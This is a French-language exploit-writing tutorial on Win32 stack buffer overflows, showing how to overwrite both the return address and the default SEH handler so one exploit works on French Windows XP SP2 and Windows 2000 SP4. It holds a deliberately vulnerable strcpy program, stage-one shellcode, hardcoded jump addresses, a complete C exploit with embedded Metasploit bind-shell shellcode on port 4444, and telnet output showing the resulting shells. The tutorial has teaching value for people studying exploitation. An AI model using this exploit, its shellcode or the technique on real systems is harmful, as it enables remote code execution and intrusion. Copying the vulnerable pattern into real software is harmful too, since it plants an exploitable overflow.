Stack Overflows
Exploitation du SEH par défaut pour améliorer la stabilité d'un Exploit

Tutorial by tal.z
How-to exploit default exception handler to gain stability on win32

Traduction française par Jérome ATHIAS (jerome?athias.fr)

Dans ce tutoriel nous allons voir comment réaliser un exploit avec 2 adresses de retour.

Outils nécessaire

- Le débuggeur OllyDBG
- Un compilateur C/C++
- nasm
- Sac/findjmp2

Le code vulnérable

```
//lamebuf.c
#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(int argc,char *argv[])
{

char buf[512];
char buf1[1024]; // <- simule une pile (stack)
 //DebugBreak();
if (argc != 2){ return -1; }

strcpy(buf,argv[1]);
return 0x0;
}
```

Vue d'ensemble du processus d'exploitation

Le but de cette méthode est de créer un exploit stable qui exploitera avec succès une vulnérabilité de type buffer overflow (dépassement de la capacité d'un buffer) sur différents systèmes d'exploitation. Toutes les applications win32 possèdent un gestionnaire (handler) d'exception (SEH) par défaut qui se situe à la fin de la pile (stack).
Lors d'une exploitation classique d'une vulnérabilité de type buffer overflow, nous sur écrivons l'adresse de retour (EIP) mais dans ce cas, nous allons continuer de sur écrire la pile et sur écrire le handler d'exception par défaut également.

```
[Buffer]                        <- Shellcode
[Adresse de Retour]             <- jmp registre (pour Windows XP)
[Données diverses]              <- remplissage
[Pointeur sur le SEH suivant]   <- "\xEB\x06\xff\xff" effectue un saut de 6 octets
[SE Handler]                    <- jmp registre (pour Windows 2000)
[Etape1 du Shellcode]           <- étape1 du shellcode pour Windows 2000
```

Si la première adresse de retour (celle pour Windows XP) est mauvaise (cas pour Windows 2000) ; une exception surviendra, et le handler d'exception par défaut sera appelé.
Cela nous permet de créer un exploit stable avec 2 adresses de retour.

Introduction

Avant d'écrire l'exploit, voyons ce qu'il se passe lorsque nous provoquons un dépassement de capacité dans le programme exemple avec 1600 octets.
Le programme plante et les registres ont l'état suivant :

???

Jetons un œil sur la pile pour voir ce qui arrive au gestionnaire d'exception par défaut

???

Première adresse de retour (Windows XP SP2 FR)

La première adresse de retour sera appelée comme dans un débordement de la pile classique.
Nous pouvons observer que le registre ESP pointe sur les données entrées par l'utilisateur; nous allons utiliser ceci pour la première étape de notre shellcode
L'adresse de retour sera 0x7C951EED (jmp esp dans Windows XP SP2 FR)
Et notre première étape de shellcode sera :

```
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
```

Pour plus d'informations sur l'exploitation de stack overflows Cliquez ici

Deuxième adresse de retour (Windows 2000 SP4 FR)

La deuxième adresse de retour sera appelée comme un retour normal de SHE
L'adresse de retour sera 0x77E55F17 (jmp ebx dans Windows 2000 SP4 FR)
Et notre première étape de shellcode sera :

```
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
```

Pour plus d'informations sur l'exploitation de stack overflows Cliquez ici

Démonstration (Proof Of Concept)

L'Exploit :

```

```

```
// exploit.c
// Tal zeltzer - [Double Return] //
// FR: Jerome Athias //

#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_XP 0x7C951EED    // WinXP SP2 FR - jmp esp
#define RET_WIN2K0x77E55F17 // Win2k SP4 FR - jmp ebx

// Etape1 pour WinXP SP2 FR
unsigned char stage1_1[] =
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";

// Etape1 pour Win2k SP4 FR
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444
Size=399 ]  http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";


int main(int argc,char *argv[]){

char *bufExe[3];
char buf[2048];
bufExe[0] = "lamebuf.exe";
bufExe[2] = NULL;
```

```
memset(buf,0x0,sizeof(buf));
memset(buf,0x90,1652);
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);

memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP2 FR – Shellcode Etape1
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 FR – Shellcode Etape2

*(unsigned long *)&buf[1540] = RET_XP;     // 1er  RET (jmp esp) WinXP SP2 FR
*(unsigned long *)&buf[1584] = 0xcccc06EB; // Pour Win2k – saute 6 octets plus loin vers
notre code stage1_2
*(unsigned long *)&buf[1588] = RET_WIN2K;  // 2ème RET (jmp ebx) Win2k sp4 FR


bufExe[1] = buf;
//Lance le programme vulnérable
execve(bufExe[0],bufExe,NULL);

return 0x0;
}
```

Exploit sous Windows XP SP2 FR :

```
C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>
```

Exploit sous Windows 2000 SP4 FR :

```
C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
```

Conclusion

Cette méthode peut probablement être approfondie avec quelques recherches supplémentaires.

Talz

Traduction française : Jerome Athias